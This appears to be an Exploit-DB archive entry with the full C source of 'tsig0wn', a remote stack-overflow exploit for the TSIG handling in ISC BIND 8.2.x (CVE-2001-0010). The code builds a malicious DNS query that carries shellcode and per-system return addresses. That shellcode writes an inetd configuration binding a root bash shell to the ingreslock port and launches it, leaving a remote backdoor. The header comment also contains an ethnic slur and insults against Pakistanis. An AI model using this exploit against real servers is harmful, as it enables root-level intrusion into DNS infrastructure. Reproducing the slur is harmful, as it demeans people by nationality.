标题: ISC BIND 8.2.x - 'TSIG' Remote Stack Overflow (1) EDB-ID: 277 CVE: 2001-0010 类型: REMOTE 平台: LINUX 发布日期: 2001-03-01 漏洞利用脚本: /*
 * tsig0wn.c
 * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau
 * gneisenau@berlin.com
 * The author is not and will not be held responsible for the action of 
 * other people using this code.
 * provided for informational purposes only
 * since a greetz section is de rigeur
 * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ......
 * a special fuck to all pakis including those idiots from GForce, etc....
 * but then pakistan is one big village comprising exclusively of prize idiots
 * tabstop set at 3
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

/*
 * This shellcode sux. cant ever get around to coding another one.
 */
char shellcode[] = {
0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89,
0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4,      
0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0,
0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14,
0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0,
0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,
0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0xff,0x2d,0x63,0xff,  
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NS_T_TSIG 250
#define SHELLCODE_OFFSET 13
#define DUMMY_ARG_OFFSET 176
#define ENUM_FILE 1    //eventlib_p.h line 141


struct {
 char     *system_name;
 unsigned int buffer_start;   /* the address where out buffer starts in memory */
 unsigned int frame_pointer;   /* content of the frame pointer */
 int    garbage_len;   /* length of the garbage in which we will embed ebp|eip */
} system[] = {
      { "Test value 1", 0xbffff640, 0xbffff868, 326, },
      { "Test value 2", 0xbffff5f0, 0xbffff700, 326, },
      { "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, },
      { NULL, 0x0, 0x0, },
     };

void usage (void);
void encode_dns_name (char *, int, int);

int
main (int argc, char *argv[])
{
 char       query[PACKETSZ]; // construct our query packet here
 char      *query_ptr;  // pointer to walk the query buffer
 HEADER     *hdr_ptr;  // pointer to the header part of the query buffer

 int      arg;
 unsigned int   buffer_start, 
        frame_pointer, // value the frame pointer will have
        shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
 int      index;

 char      *target_name;
 struct hostent   *target_host; 
 struct sockaddr_in target;  
 int      sockfd;

 if (argc < 2)
  usage ();

 while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
  switch (arg){
   case 'b': sscanf (optarg, "%x", &buffer_start);
       break;
   case 'f': sscanf (optarg, "%x", &frame_pointer);
       break;
   case 's': index = atoi (optarg) - 1; 
       buffer_start = system[index].buffer_start;
       frame_pointer = system[index].frame_pointer;
       break;
   default : usage ();
  }
 }
 if (!(target_name = argv[optind])){
  fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
  exit (1);
 }

/*
 * Form a header. 
 */
  memset (query, 0, PACKETSZ);
  // cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
 hdr_ptr = (HEADER *)query;
 hdr_ptr->id = htons (0x1234);   
 hdr_ptr->qr = 0;     
 hdr_ptr->opcode = 0;     
 hdr_ptr->qdcount = htons (2);   
 hdr_ptr->arcount = htons (1); 


/*
 * Form a query after the header where we put in the shellcode
 */
 query_ptr = (char *) (hdr_ptr + 1);
 memcpy (query_ptr, shellcode, strlen (shellcode)+1);
 query_ptr += strlen (shellcode) + 1;
 PUTSHORT (T_A, query_ptr);
 PUTSHORT (C_IN, query_ptr);

/*
 * we form another header here that contains garbage with embedded stuff
 * i cud have put this in the same header as the shellcode and have the
 * shellcode nullify. (shrug)
 */
 {
  char *tmp;
  unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;

  frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do

  // this will make layout a domain name for the second query, within which
  // we will embed our ebp | eip
  encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
  query_ptr += system[index].garbage_len;

  shellcode_addr = buffer_start + SHELLCODE_OFFSET;
  printf ("buffer starts at address = 0x%x\n", buffer_start);
  printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
  printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
  printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
  // put in the type member of evEvent_p. File is what we need
  tmp = query + DUMMY_ARG_OFFSET;
  tmp[0] = ENUM_FILE;
  tmp[1] = ENUM_FILE >> 8;
  tmp[2] = ENUM_FILE >> 16;
  tmp[3] = ENUM_FILE >> 24;

  // embed the addresses. These will be interpreted as ebp and eip. 
  // we put the address where our shellcode will be situated twice.
  // we overflow the saved frame pointer of datagram_read(). when the
  // function returns to __evDispatch() it calls __evDrop().
  // because we have shifted the frame pointer and thus __evDispatch()
  // notion of the stack we also provide two pointers as arguments to
  // __evDispatch. These pointers point to the start of this query header
  // name, within which __evDrop will look for evEvent_p->type. we set
  // type to be of type 'file' above which causes it to break and execute 
  // FREE() which in turn calls free().
  tmp = query + (frame_pointer - buffer_start); // advance the ptr to the place where we put in our ebp|eip
  tmp[0] = shellcode_addr;
  tmp[1] = shellcode_addr >> 8;
  tmp[2] = shellcode_addr >> 16;
  tmp[3] = shellcode_addr >> 24;
  tmp[4] = shellcode_addr;
  tmp[5] = shellcode_addr >> 8;
  tmp[6] = shellcode_addr >> 16;
  tmp[7] = shellcode_addr >> 24;

  tmp[8] = dummy_argument;
  tmp[9] = dummy_argument >> 8;
  tmp[10] = dummy_argument >> 16;
  tmp[11] = dummy_argument >> 24;
  tmp[12] = dummy_argument;
  tmp[13] = dummy_argument >> 8;
  tmp[14] = dummy_argument >> 16;
  tmp[15] = dummy_argument >> 24;
 }
 PUTSHORT (T_A, query_ptr);
 PUTSHORT (C_IN, query_ptr);
/*
 * Additional section containing T_SIG stuff
 */
  // a name with only one char
 memcpy (query_ptr, "\x01m\x00", 3); 
 query_ptr+=3;
 PUTSHORT (NS_T_TSIG, query_ptr);
 PUTSHORT (C_IN, query_ptr);
// these members wont be checked at all as find_key returns NULL on testing secretkey_info. 
// PUTLONG (0, query_ptr);   
// PUTSHORT (0, query_ptr);    

/*
 * Connect and deliver the payload
 */
 if (!(target_host = gethostbyname (target_name))){
  fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno));
  exit (1);
 }
 if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
  perror ("socket");
  exit (1);
 }
 memset (&target, 0, sizeof (target));
 target.sin_family = AF_INET;
 target.sin_port = htons (53);
 target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr;

 if (connect (sockfd, &target, sizeof (target)) < 0){
  perror ("connect");
  exit (1);
 }
 if (send (sockfd, query, query_ptr - query, 0) < 0){
  perror ("send");
  exit (1);
 }
 exit (0);
}


void 
usage (void)
{
 int i;
 fprintf (stderr, "                             tsig0wn\n");
 fprintf (stderr, "Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau\n");
 fprintf (stderr, "\nAvailable System Types\n");
 for (i = 0; system[i].system_name; i++)
  fprintf (stderr, "%d. %s\n", i+1, system[i].system_name);
 fprintf (stderr, "\nUsage:\n");
 fprintf (stderr, "tsig0wn [ -s system type ] target\nor\n");
 fprintf (stderr, "tsig0wn [ -b buffer start address ] [ -f frame pointer content ] target\n");
 exit (1);
}

/*
 * a pretty convoluted function.
 * len is the number of octects to fill in (including the length octect)
 * embed_pos is the position where we need to embed this |len|ebp|eip|. 
 * Hopefully when we overwrite the saved ebp on the stack
 * we expect it to point here and take the eip (which in turn points to our
 * shellcode) from here. The challenge here is to lay out the octets so 
 * that it doesnt clash with embed_pos.
 */

void
encode_dns_name (char *buf, int len, int embed_pos)
{
 int ctr = 0;
 int adjusted = 0;
 embed_pos -= 2;  // our ebp | eip needs the length octet before it, so adjust for it now + 1 
 len--;     // for the NULL octet at the end.

 // sanity check
 if (embed_pos >= len){
  fprintf (stderr, "encode_dns_name: embed_pos >= len\n");
  exit (1);
 }
 while (ctr < len)
  // max 63 octets allowed + preceding 1 octet for length
  if (ctr+64 <= len){  // enough space for another 63+1
   if (ctr+64 <= embed_pos || adjusted){ // embed_pos not in between
    *buf++ = 63;
    memset (buf, 'g', 63); buf += 63;
    ctr+=64; 
   }
   else {    // need to adjust cuz embed_pos in between
    *buf++ = embed_pos-ctr-1;
    memset (buf, 'o', embed_pos-ctr-1); buf += embed_pos-ctr-1; 
    ctr+= embed_pos-ctr; 
    adjusted++;
   }
  }
  else {
   if (len - ctr <= embed_pos || adjusted){ // only remaining len - ctr
    *buf++ = len-ctr-1;
    memset (buf, 'g', len-ctr-1);
    ctr += 63; // we are quitting anyway after this. no need to update ctrs
   }
   else{
    *buf++ = embed_pos-len-ctr-1;
    memset (buf, 'o', embed_pos-len-ctr-1); buf += embed_pos-len-ctr-1; 
    ctr += embed_pos-len-ctr; 
    adjusted++;
   }
  }
 *buf=0x00;  // finish with a 0 
}


// milw0rm.com [2001-03-01] URL: https://www.exploit-db.com/exploits/277